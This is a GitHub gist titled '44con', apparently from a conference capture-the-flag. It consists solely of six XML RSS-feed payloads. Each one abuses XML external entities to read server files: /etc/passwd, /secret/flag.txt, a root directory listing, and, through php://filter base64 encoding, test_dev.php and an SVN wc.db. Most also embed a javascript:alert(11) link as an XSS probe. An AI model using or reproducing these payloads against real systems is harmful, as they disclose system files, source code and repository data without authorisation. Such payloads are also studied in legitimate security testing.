Skip to content

Instantly share code, notes, and snippets.

@h3xstream
Last active October 27, 2018 15:00
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save h3xstream/57ebbce8928dd546074576a67663cace to your computer and use it in GitHub Desktop.
Save h3xstream/57ebbce8928dd546074576a67663cace to your computer and use it in GitHub Desktop.
44con
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<feed>
<title>test</title>
<description>test</description>
<entry>
<title>Test</title>
<link href="javascript:alert(11)"></link>
<content>&xxe;</content>
</entry>
</feed>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///secret/flag.txt" >
]>
<feed>
<title>test</title>
<description>test</description>
<entry>
<title>Test</title>
<link href="javascript:alert(11)"></link>
<content>&xxe;</content>
</entry>
</feed>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE feed [
<!ENTITY xxe SYSTEM "/">
]>
<feed>
<title>test</title>
<description>test</description>
<entry>
<title>Hello</title>
<link href="http://example.com"></link>
<content>&xxe;</content>
</entry>
</feed>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///secret" >
]>
<feed>
<title>test</title>
<description>test</description>
<entry>
<title>Test</title>
<link href="javascript:alert(11)"></link>
<content>&xxe;</content>
</entry>
</feed>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=test_dev.php" >
]>
<feed>
<title>test</title>
<description>test</description>
<entry>
<title>Test</title>
<link href="javascript:alert(11)"></link>
<content>&xxe;</content>
</entry>
</feed>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=.svn/wc.db" >
]>
<feed>
<title>test</title>
<description>test</description>
<entry>
<title>Test</title>
<link href="javascript:alert(11)"></link>
<content>&xxe;</content>
</entry>
</feed>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment